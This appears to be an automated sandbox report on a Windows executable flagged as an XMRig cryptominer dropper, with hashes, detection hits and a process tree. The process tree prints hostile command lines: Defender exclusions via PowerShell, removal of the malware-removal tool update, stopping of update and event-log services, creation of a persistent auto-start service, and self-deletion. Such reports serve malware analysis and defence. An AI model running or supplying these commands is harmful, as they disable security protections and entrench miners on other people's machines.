Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
18-12-2024 23:54
Static task
static1
Behavioral task
behavioral1
Sample
4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe
Resource
win7-20240903-en
General
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Target
4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe
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Size
5.6MB
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MD5
b654fdb5720e3aacafbc94c4a8177900
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SHA1
51af6a6e8847189ae4df13328284334f7db2557d
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SHA256
4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642f
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SHA512
04ce0d996dd82a0d53f8bc4682fd13f8067e1f752e0f67fea1f89ad081c469dc2029e2b0df5a513f75ddcb504271cc569a2fc1c3d671a92cc5e6c69deb232abf
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SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/1512-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1512-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1512-31-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1512-30-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1512-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1512-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1512-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1512-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 716 powershell.exe 2052 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 1568 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 2804 lutlgidagtja.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2836 powercfg.exe 3028 powercfg.exe 3012 powercfg.exe 3008 powercfg.exe 2908 powercfg.exe 2828 powercfg.exe 2596 powercfg.exe 2736 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2804 set thread context of 2220 2804 lutlgidagtja.exe 85 PID 2804 set thread context of 1512 2804 lutlgidagtja.exe 90 -
resource yara_rule behavioral1/memory/1512-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1512-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1512-25-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1512-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1512-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1512-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1512-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1512-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1512-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1512-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1512-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1512-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1512-38-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1464 sc.exe 2860 sc.exe 1768 sc.exe 2664 sc.exe 764 sc.exe 1948 sc.exe 2808 sc.exe 1572 sc.exe 2024 sc.exe 2820 sc.exe 2548 sc.exe 2368 sc.exe 1052 sc.exe 2708 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70d68638a851db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 2052 powershell.exe 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 276 4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe 2804 lutlgidagtja.exe 716 powershell.exe 2804 lutlgidagtja.exe 2804 lutlgidagtja.exe 2804 lutlgidagtja.exe 2804 lutlgidagtja.exe 2804 lutlgidagtja.exe 2804 lutlgidagtja.exe 2804 lutlgidagtja.exe 2804 lutlgidagtja.exe 2804 lutlgidagtja.exe 2804 lutlgidagtja.exe 2804 lutlgidagtja.exe 2804 lutlgidagtja.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe 1512 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2052 powershell.exe Token: SeShutdownPrivilege 2828 powercfg.exe Token: SeShutdownPrivilege 2836 powercfg.exe Token: SeShutdownPrivilege 2596 powercfg.exe Token: SeShutdownPrivilege 2736 powercfg.exe Token: SeDebugPrivilege 716 powershell.exe Token: SeShutdownPrivilege 3028 powercfg.exe Token: SeShutdownPrivilege 3012 powercfg.exe Token: SeShutdownPrivilege 3008 powercfg.exe Token: SeLockMemoryPrivilege 1512 nslookup.exe Token: SeShutdownPrivilege 2908 powercfg.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2672 wrote to memory of 2816 2672 cmd.exe 38 PID 2672 wrote to memory of 2816 2672 cmd.exe 38 PID 2672 wrote to memory of 2816 2672 cmd.exe 38 PID 1568 wrote to memory of 2892 1568 cmd.exe 64 PID 1568 wrote to memory of 2892 1568 cmd.exe 64 PID 1568 wrote to memory of 2892 1568 cmd.exe 64 PID 2868 wrote to memory of 2744 2868 cmd.exe 72 PID 2868 wrote to memory of 2744 2868 cmd.exe 72 PID 2868 wrote to memory of 2744 2868 cmd.exe 72 PID 2804 wrote to memory of 2220 2804 lutlgidagtja.exe 85 PID 2804 wrote to memory of 2220 2804 lutlgidagtja.exe 85 PID 2804 wrote to memory of 2220 2804 lutlgidagtja.exe 85 PID 2804 wrote to memory of 2220 2804 lutlgidagtja.exe 85 PID 2804 wrote to memory of 2220 2804 lutlgidagtja.exe 85 PID 2804 wrote to memory of 2220 2804 lutlgidagtja.exe 85 PID 2804 wrote to memory of 2220 2804 lutlgidagtja.exe 85 PID 2804 wrote to memory of 2220 2804 lutlgidagtja.exe 85 PID 2804 wrote to memory of 2220 2804 lutlgidagtja.exe 85 PID 2804 wrote to memory of 1512 2804 lutlgidagtja.exe 90 PID 2804 wrote to memory of 1512 2804 lutlgidagtja.exe 90 PID 2804 wrote to memory of 1512 2804 lutlgidagtja.exe 90 PID 2804 wrote to memory of 1512 2804 lutlgidagtja.exe 90 PID 2804 wrote to memory of 1512 2804 lutlgidagtja.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe"C:\Users\Admin\AppData\Local\Temp\4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:276 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2052
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2672 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2816
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2708
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2820
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2664
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2024
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2808
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2828
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2836
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2596
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2736
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:2548
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:1464
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1572
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:2368
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\4711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642fN.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1568 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2892
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C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2804 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:716
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2868 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2744
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2860
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1052
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:764
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1948
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1768
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3028
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3012
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3008
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2908
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2220
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1512
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD5b654fdb5720e3aacafbc94c4a8177900
SHA151af6a6e8847189ae4df13328284334f7db2557d
SHA2564711a98a3da4c646af0ebcd0265a20594549c53ee2175c540aefb9322510642f
SHA51204ce0d996dd82a0d53f8bc4682fd13f8067e1f752e0f67fea1f89ad081c469dc2029e2b0df5a513f75ddcb504271cc569a2fc1c3d671a92cc5e6c69deb232abf